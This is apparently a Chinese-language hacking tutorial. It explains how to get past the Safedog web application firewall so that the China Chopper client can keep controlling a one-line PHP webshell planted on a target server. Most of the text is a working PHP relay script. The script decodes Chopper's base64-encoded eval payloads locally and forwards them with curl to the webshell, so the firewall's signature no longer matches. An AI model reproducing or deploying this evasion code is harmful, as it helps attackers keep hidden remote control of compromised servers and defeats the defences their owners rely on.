有些一句話雖然可以單獨成功執行,但是在菜刀里卻不能用,而有些人非覺得這樣的一句話麻煩,非要用菜刀。經分析安全狗對菜刀的HTTP請求做了攔截,菜刀的POST數據里面對eval數據做了base64編碼,安全狗也就依靠對這些特征來攔截,因此要想正常使用菜刀,必須在本地做一個轉發,先把有特征的數據轉換。這個思路類似於對偽靜態注入的本地轉發。
首先在本地搭建WEB SERVER,然后寫一個php轉發程序:
$target="http://192.168.200.115/small.php";//這個就是前面那個一句話的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
意思就是在本地先對eval數據進行base64解碼,然后再POST到目標機器上去。在菜刀里設置URL為本地轉發php腳本:
這樣就可以使用菜刀來連接前面那個一句話馬了:
這樣就能用菜刀了